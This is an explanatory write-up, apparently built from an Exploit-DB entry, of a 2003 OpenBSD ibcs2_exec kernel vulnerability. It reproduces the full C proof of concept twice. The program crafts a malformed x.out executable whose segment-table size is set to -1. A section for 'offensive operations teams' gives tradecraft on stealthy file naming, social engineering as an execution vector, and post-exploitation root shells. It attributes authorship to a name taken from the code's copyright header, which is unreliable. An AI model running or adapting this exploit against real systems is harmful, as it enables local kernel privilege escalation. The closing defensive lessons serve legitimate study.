OpenBSD 'ibcs2_exec' Kernel Code Execution Explained

OpenBSD 'ibcs2_exec' Kernel Code Execution Explained
What this paper is
This paper, published in 2003, describes a vulnerability in the ibcs2_exec function within the OpenBSD kernel. This function was responsible for handling the execution of iBCS2 (Intel Binary Compatibility Standard 2) executables. The vulnerability allows a local attacker to gain kernel code execution by crafting a malicious iBCS2 executable file. This means an attacker with the ability to write files on the target system could potentially escalate their privileges to the kernel level.
Simple technical breakdown
The core of the vulnerability lies in how the kernel parses and interprets specific fields within a specially crafted iBCS2 executable file. The ibcs2_exec function, when processing these executables, incorrectly handles certain size and offset values. By manipulating these values, an attacker can trick the kernel into misinterpreting memory regions, leading to a situation where the kernel attempts to execute arbitrary code provided by the attacker.
The provided exploit code doesn't directly contain shellcode. Instead, it's a proof-of-concept that demonstrates how to create a malformed iBCS2 executable. This malformed executable, when executed by the vulnerable ibcs2_exec function, triggers the kernel code execution. The exploit itself focuses on constructing the file, not on delivering a final payload.
Complete code and payload walkthrough
The provided source code is a C program that generates a malicious iBCS2 executable file. It does not contain any shellcode or direct payload execution; its purpose is to create a file that, when processed by the vulnerable kernel function, leads to code execution.
Let's break down the C code:
//
// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch
//
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */
/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */
/*
* Copyright (c) 1994, 1995 Scott Bartram
* All rights reserved.
*
* adapted from sys/sys/exec_ecoff.h
* based on Intel iBCS2
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _IBCS2_EXEC_H_
#define _IBCS2_EXEC_H_
/*
* COFF file header
*/
struct coff_filehdr {
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
/* magic */
#define COFF_OMAGIC 0407 /* text not write-protected; data seg
is contiguous with text */
#define COFF_NMAGIC 0410 /* text is write-protected; data starts
at next seg following text */
#define COFF_ZMAGIC 0413 /* text and data segs are aligned for
direct paging */
#define COFF_SMAGIC 0443 /* shared lib */
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_REG 0x00
#define COFF_STYP_DSECT 0x01
#define COFF_STYP_NOLOAD 0x02
#define COFF_STYP_GROUP 0x04
#define COFF_STYP_PAD 0x08
#define COFF_STYP_COPY 0x10
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_BSS 0x80
#define COFF_STYP_INFO 0x200
#define COFF_STYP_OVER 0x400
#define COFF_STYP_SHLIB 0x800
/*
* COFF shared library header
*/
struct coff_slhdr {
long entry_len; /* in words */
long path_index; /* in words */
char sl_name[1];
};
#define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1))
#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))
#define COFF_HDR_SIZE \
(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))
#define COFF_BLOCK_ALIGN(ap, value) \
(ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \
value)
#define COFF_TXTOFF(fp, ap) \
(ap->a_magic == COFF_ZMAGIC ? 0 : \
COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \
sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))
#define COFF_DATOFF(fp, ap) \
(COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))
#define COFF_SEGMENT_ALIGN(ap, value) \
(COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \
COFF_SEGMENT_ALIGNMENT(ap))))
#define COFF_LDPGSZ 4096
#define COFF_SEGMENT_ALIGNMENT(ap) 4
#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)
#define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28)
#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128)
struct exec_package;
int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);
/*
* x.out (XENIX)
*/
struct xexec {
u_short x_magic; /* magic number */
u_short x_ext; /* size of extended header */
long x_text; /* ignored */
long x_data; /* ignored */
long x_bss; /* ignored */
long x_syms; /* ignored */
long x_reloc; /* ignored */
long x_entry; /* executable entry point */
char x_cpu; /* processor type */
char x_relsym; /* ignored */
u_short x_renv; /* flags */
};
/* x_magic flags */
#define XOUT_MAGIC 0x0206
/* x_cpu flags */
#define XC_386 0x004a /* 386, word-swapped */
/* x_renv flags */
#define XE_V5 0xc000
#define XE_SEG 0x0800
#define XE_ABS 0x0400
#define XE_ITER 0x0200
#define XE_VMOD 0x0100
#define XE_FPH 0x0080
#define XE_LTEXT 0x0040
#define XE_LDATA 0x0020
#define XE_OVER 0x0010
#define XE_FS 0x0008
#define XE_PURE 0x0004
#define XE_SEP 0x0002
#define XE_EXEC 0x0001
/*
* x.out extended header
*/
struct xext {
long xe_trsize; /* ignored */
long xe_drsize; /* ignored */
long xe_tbase; /* ignored */
long xe_dbase; /* ignored */
long xe_stksize; /* stack size if XE_FS set in x_renv */
long xe_segpos; /* offset of segment table */
long xe_segsize; /* segment table size */
long xe_mdtpos; /* ignored */
long xe_mdtsize; /* ignored */
char xe_mdttype; /* ignored */
char xe_pagesize; /* ignored */
char xe_ostype; /* ignored */
char xe_osvers; /* ignored */
u_short xe_eseg; /* ignored */
u_short xe_sres; /* ignored */
};
/*
* x.out segment table
*/
struct xseg {
u_short xs_type; /* segment type */
u_short xs_attr; /* attribute flags */
u_short xs_seg; /* segment selector number */
char xs_align; /* ignored */
char xs_cres; /* ignored */
long xs_filpos; /* offset of this segment */
long xs_psize; /* physical segment size */
long xs_vsize; /* virtual segment size */
long xs_rbase; /* relocation base address */
u_short xs_noff; /* ignored */
u_short xs_sres; /* ignored */
long xs_lres; /* ignored */
};
/* xs_type flags */
#define XS_TNULL 0 /* unused */
#define XS_TTEXT 1 /* text (read-only) */
#define XS_TDATA 2 /* data (read-write) */
#define XS_TSYMS 3 /* symbol table (noload) */
#define XS_TREL 4 /* relocation segment (noload) */
#define XS_TSESTR 5 /* string table (noload) */
#define XS_TGRPS 6 /* group segment (noload) */
#define XS_TIDATA 64
#define XS_TTSS 65
#define XS_TLFIX 66
#define XS_TDNAME 67
#define XS_TDTEXT 68
#define XS_TDFIX 69
#define XS_TOVTAB 70
#define XS_T71 71
#define XS_TSYSTR 72
/* xs_attr flags */
#define XS_AMEM 0x8000 /* memory image */
#define XS_AITER 0x0001 /* iteration records */
#define XS_AHUGE 0x0002 /* unused */
#define XS_ABSS 0x0004 /* uninitialized data */
#define XS_APURE 0x0008 /* read-only (sharable) segment */
#define XS_AEDOWN 0x0010 /* expand down memory segment */
#define XS_APRIV 0x0020 /* unused */
#define XS_A32BIT 0x0040 /* 32-bit text/data */
/*
* x.out iteration record
*/
struct xiter {
long xi_size; /* text/data size */
long xi_rep; /* number of replications */
long xi_offset; /* offset within segment to replicated data */
};
#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))
int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);
#endif /* !_IBCS2_EXEC_H_ */
int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";
fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);
}
// milw0rm.com [2003-11-07]Code Fragment/Block -> Practical Purpose
#include <sys/types.h>,#include <sys/stat.h>,#include <fcntl.h>,#include <stdio.h>: Standard C header files for system calls, file operations, and input/output.struct coff_filehdr,struct coff_aouthdr,struct coff_scnhdr,struct coff_slhdr: These structures define the layout of the COFF (Common Object File Format) header, which is a precursor to the iBCS2 executable format. They describe metadata about the executable, such as magic numbers, section counts, timestamps, symbol table information, and section details.struct xexec,struct xext,struct xseg,struct xiter: These structures define the layout of the "x.out" format, which is the specific format used by iBCS2 executables.struct xexec: The main header for an x.out executable. It contains fields likex_magic(identifying the file type),x_cpu(processor type),x_renv(environment flags), andx_ext(size of the extended header).struct xext: The extended header, providing more details about the executable, such as segment positions and sizes.struct xseg: Describes individual segments within the executable (e.g., text, data).struct xiter: Used for iteration records, which are relevant for how certain data might be replicated or processed.
#define XOUT_MAGIC 0x0206: A constant defining the magic number for x.out executables.#define XC_386 0x004a: A constant defining the processor type for Intel 386.#define XE_EXEC 0x0001: A flag indicating that this is an executable file.int main(int ac,char **av): The main function where the program execution begins.int fd;: File descriptor for the created executable file.struct xexec xp;: An instance of thexexecstructure to hold the main header information.struct xext xep;: An instance of thexextstructure to hold the extended header information.char exe[10];: A small buffer to hold some arbitrary data.char fil[]="./vvc";: The filename for the malicious executable to be created.fd=open(fil,O_CREAT|O_RDWR,0700);: Opens a file named./vvcin create and read/write mode. The0700permission means only the owner can read, write, and execute it.if (fd==-1) {perror("open");return 1;}: Error handling for theopencall. If the file cannot be opened, it prints an error and exits.memset(&xp,0,sizeof(xp));: Initializes thexpstructure with all zeros.memset(&xep,0,sizeof(xep));: Initializes thexepstructure with all zeros.memset(exe,'v',sizeof(exe));: Fills theexebuffer with the character 'v'. This is arbitrary data for the file.xp.x_magic = XOUT_MAGIC;: Sets the magic number for thexexecheader to the x.out magic number.xp.x_cpu = XC_386;: Sets the CPU type to 386.xp.x_renv = XE_EXEC;: Sets the environment flag to indicate it's an executable.xp.x_ext = sizeof(xep);: Specifies the size of the extended header.xep.xe_segsize = -1;: This is a critical manipulation. Settingxe_segsizeto -1 (a large negative number when interpreted as an unsigned integer) is a key part of the exploit. The kernel'sibcs2_execfunction likely uses this value in calculations related to memory allocation or segment mapping. A negative value can lead to integer overflows or incorrect memory calculations, potentially allowing the attacker to control memory addresses or sizes.write(fd,&xp,sizeof(xp));: Writes the populatedxexecheader to the file.write(fd,&xep,sizeof(xep));: Writes the populatedxextheader to the file.write(fd,exe,sizeof(exe));: Writes the arbitrary 'v' data to the file.printf("Now exec %s\n",fil);: Prints a message indicating the file has been created.
No Shellcode/Payload: The code's sole purpose is to construct a malformed file. The actual "execution" happens when this file is passed to the vulnerable ibcs2_exec kernel function. The vulnerability is in the kernel's handling of the xe_segsize = -1 value, not in any code embedded within this C program.
Practical details for offensive operations teams
- Required Access Level: Local user access with the ability to create files in a writable directory. No special privileges are needed to create the exploit file.
- Lab Preconditions:
- A target system running a vulnerable version of OpenBSD (prior to the patch for this vulnerability).
- A compiler (like GCC or Clang) to compile the provided C code.
- The ability to transfer the compiled exploit binary to the target system.
- Tooling Assumptions:
- Standard C compiler.
- Basic shell utilities (
open,write,printf,perror).
- Execution Pitfalls:
- Version Specificity: This exploit is highly specific to the vulnerable version of OpenBSD. Running it on a patched system will have no effect.
- Kernel Patching: The primary defense is the kernel patch. If the system is up-to-date, the exploit will fail.
- File Creation Location: The attacker needs to be able to create a file in a location where the target user might attempt to execute it, or where the system might process iBCS2 executables.
- Triggering Execution: Simply creating the file is not enough. The attacker must find a way to trick the vulnerable
ibcs2_execfunction into processing this malformed file. This might involve placing it in a directory that's scanned for executables, or tricking a user into running it. - Payload Delivery: This exploit only provides kernel code execution. A separate payload (shellcode) would need to be delivered and executed by the kernel after the vulnerability is triggered. The provided C code does not include this payload.
- Integer Overflow/Underflow: The core of the exploit relies on the
xe_segsize = -1value. The kernel's interpretation of this negative value (likely as a very large positive number due to unsigned interpretation) is what causes the issue. Understanding how the kernel handles signed vs. unsigned integers in this context is crucial.
- Tradecraft Considerations:
- Stealth: Creating a file named
./vvcmight be suspicious. Renaming it to something more innocuous or using a more sophisticated file placement strategy could be considered. - Execution Vector: The most challenging part for an attacker is reliably triggering the vulnerable
ibcs2_execfunction with the crafted file. This might involve social engineering or exploiting other vulnerabilities to place the file in a specific context. - Post-Exploitation: Once kernel execution is achieved, the attacker would need to inject and execute their actual payload (e.g., a root shell). This requires knowledge of kernel programming and shellcode development.
- Stealth: Creating a file named
Where this was used and when
- Context: This vulnerability was discovered and published in 2003. It targeted the iBCS2 compatibility layer in OpenBSD.
- Usage: The exploit code provided is a proof-of-concept to demonstrate the vulnerability. It's designed to create a malformed executable. Actual exploitation in the wild would involve using this file to gain elevated privileges on a vulnerable system.
- Approximate Years/Dates: Published on 2003-11-07. The vulnerability would have existed in OpenBSD versions prior to the patch being applied.
Defensive lessons for modern teams
- Keep Systems Patched: The most effective defense against known vulnerabilities is to apply security patches promptly. The existence of a patch for this specific issue indicates that updating the operating system is crucial.
- Minimize Unnecessary Compatibility Layers: Running legacy compatibility layers (like iBCS2) can introduce attack surfaces. If these layers are not actively needed, consider disabling or removing them.
- Input Validation: Kernel code responsible for parsing file formats must rigorously validate all input values, especially sizes and offsets. Unexpected or out-of-range values should be handled gracefully, not by leading to memory corruption.
- Secure Coding Practices: Developers should be aware of potential integer overflow/underflow vulnerabilities, especially when dealing with user-supplied data or file formats. Using unsigned integers for sizes and then performing arithmetic that could result in negative values without proper checks is a common pitfall.
- Least Privilege: While this is a local privilege escalation, enforcing the principle of least privilege for user accounts can limit the impact of a successful exploit.
ASCII visual (if applicable)
This exploit is primarily about file format manipulation and kernel parsing. A direct ASCII visual of the exploit itself is not particularly illuminating. However, we can visualize the general concept of how a malformed file might interact with the kernel's execution path.
+-------------------+ +---------------------+ +-----------------------+
| Attacker's Machine| --> | Malicious iBCS2 File| --> | Vulnerable OpenBSD |
| (Compiles Exploit)| | (crafted with -1) | | Kernel (ibcs2_exec) |
+-------------------+ +---------------------+ +-----------------------+
|
| (Incorrect parsing
| of xe_segsize)
v
+-------------------+
| Kernel Memory |
| Corruption / |
| Arbitrary Code |
| Execution |
+-------------------+Explanation:
- The attacker creates a malicious iBCS2 file on their machine using the provided C code. The key is setting
xe_segsizeto-1. - This malformed file is then transferred to the target OpenBSD system.
- When the vulnerable
ibcs2_execkernel function attempts to load and process this file, it misinterprets thexe_segsizevalue. - This misinterpretation leads to memory corruption or allows the kernel to be tricked into executing arbitrary code provided by the attacker.
Source references
- Paper ID: 118
- Paper Title: OpenBSD - 'ibcs2_exec' Kernel Code Execution
- Author: Scott Bartram
- Published: 2003-11-07
- Keywords: BSD, local
- Paper URL: https://www.exploit-db.com/papers/118
- Raw URL: https://www.exploit-db.com/raw/118
Original Exploit-DB Content (Verbatim)
//
// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch
//
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */
/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */
/*
* Copyright (c) 1994, 1995 Scott Bartram
* All rights reserved.
*
* adapted from sys/sys/exec_ecoff.h
* based on Intel iBCS2
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _IBCS2_EXEC_H_
#define _IBCS2_EXEC_H_
/*
* COFF file header
*/
struct coff_filehdr {
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol table entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
/* magic */
#define COFF_OMAGIC 0407 /* text not write-protected; data seg
is contiguous with text */
#define COFF_NMAGIC 0410 /* text is write-protected; data starts
at next seg following text */
#define COFF_ZMAGIC 0413 /* text and data segs are aligned for
direct paging */
#define COFF_SMAGIC 0443 /* shared lib */
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_REG 0x00
#define COFF_STYP_DSECT 0x01
#define COFF_STYP_NOLOAD 0x02
#define COFF_STYP_GROUP 0x04
#define COFF_STYP_PAD 0x08
#define COFF_STYP_COPY 0x10
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_BSS 0x80
#define COFF_STYP_INFO 0x200
#define COFF_STYP_OVER 0x400
#define COFF_STYP_SHLIB 0x800
/*
* COFF shared library header
*/
struct coff_slhdr {
long entry_len; /* in words */
long path_index; /* in words */
char sl_name[1];
};
#define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1))
#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))
#define COFF_HDR_SIZE \
(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))
#define COFF_BLOCK_ALIGN(ap, value) \
(ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \
value)
#define COFF_TXTOFF(fp, ap) \
(ap->a_magic == COFF_ZMAGIC ? 0 : \
COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \
sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))
#define COFF_DATOFF(fp, ap) \
(COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))
#define COFF_SEGMENT_ALIGN(ap, value) \
(COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \
COFF_SEGMENT_ALIGNMENT(ap))))
#define COFF_LDPGSZ 4096
#define COFF_SEGMENT_ALIGNMENT(ap) 4
#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)
#define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28)
#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128)
struct exec_package;
int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);
/*
* x.out (XENIX)
*/
struct xexec {
u_short x_magic; /* magic number */
u_short x_ext; /* size of extended header */
long x_text; /* ignored */
long x_data; /* ignored */
long x_bss; /* ignored */
long x_syms; /* ignored */
long x_reloc; /* ignored */
long x_entry; /* executable entry point */
char x_cpu; /* processor type */
char x_relsym; /* ignored */
u_short x_renv; /* flags */
};
/* x_magic flags */
#define XOUT_MAGIC 0x0206
/* x_cpu flags */
#define XC_386 0x004a /* 386, word-swapped */
/* x_renv flags */
#define XE_V5 0xc000
#define XE_SEG 0x0800
#define XE_ABS 0x0400
#define XE_ITER 0x0200
#define XE_VMOD 0x0100
#define XE_FPH 0x0080
#define XE_LTEXT 0x0040
#define XE_LDATA 0x0020
#define XE_OVER 0x0010
#define XE_FS 0x0008
#define XE_PURE 0x0004
#define XE_SEP 0x0002
#define XE_EXEC 0x0001
/*
* x.out extended header
*/
struct xext {
long xe_trsize; /* ignored */
long xe_drsize; /* ignored */
long xe_tbase; /* ignored */
long xe_dbase; /* ignored */
long xe_stksize; /* stack size if XE_FS set in x_renv */
long xe_segpos; /* offset of segment table */
long xe_segsize; /* segment table size */
long xe_mdtpos; /* ignored */
long xe_mdtsize; /* ignored */
char xe_mdttype; /* ignored */
char xe_pagesize; /* ignored */
char xe_ostype; /* ignored */
char xe_osvers; /* ignored */
u_short xe_eseg; /* ignored */
u_short xe_sres; /* ignored */
};
/*
* x.out segment table
*/
struct xseg {
u_short xs_type; /* segment type */
u_short xs_attr; /* attribute flags */
u_short xs_seg; /* segment selector number */
char xs_align; /* ignored */
char xs_cres; /* ignored */
long xs_filpos; /* offset of this segment */
long xs_psize; /* physical segment size */
long xs_vsize; /* virtual segment size */
long xs_rbase; /* relocation base address */
u_short xs_noff; /* ignored */
u_short xs_sres; /* ignored */
long xs_lres; /* ignored */
};
/* xs_type flags */
#define XS_TNULL 0 /* unused */
#define XS_TTEXT 1 /* text (read-only) */
#define XS_TDATA 2 /* data (read-write) */
#define XS_TSYMS 3 /* symbol table (noload) */
#define XS_TREL 4 /* relocation segment (noload) */
#define XS_TSESTR 5 /* string table (noload) */
#define XS_TGRPS 6 /* group segment (noload) */
#define XS_TIDATA 64
#define XS_TTSS 65
#define XS_TLFIX 66
#define XS_TDNAME 67
#define XS_TDTEXT 68
#define XS_TDFIX 69
#define XS_TOVTAB 70
#define XS_T71 71
#define XS_TSYSTR 72
/* xs_attr flags */
#define XS_AMEM 0x8000 /* memory image */
#define XS_AITER 0x0001 /* iteration records */
#define XS_AHUGE 0x0002 /* unused */
#define XS_ABSS 0x0004 /* uninitialized data */
#define XS_APURE 0x0008 /* read-only (sharable) segment */
#define XS_AEDOWN 0x0010 /* expand down memory segment */
#define XS_APRIV 0x0020 /* unused */
#define XS_A32BIT 0x0040 /* 32-bit text/data */
/*
* x.out iteration record
*/
struct xiter {
long xi_size; /* text/data size */
long xi_rep; /* number of replications */
long xi_offset; /* offset within segment to replicated data */
};
#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))
int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);
#endif /* !_IBCS2_EXEC_H_ */
int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";
fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);
}
// milw0rm.com [2003-11-07]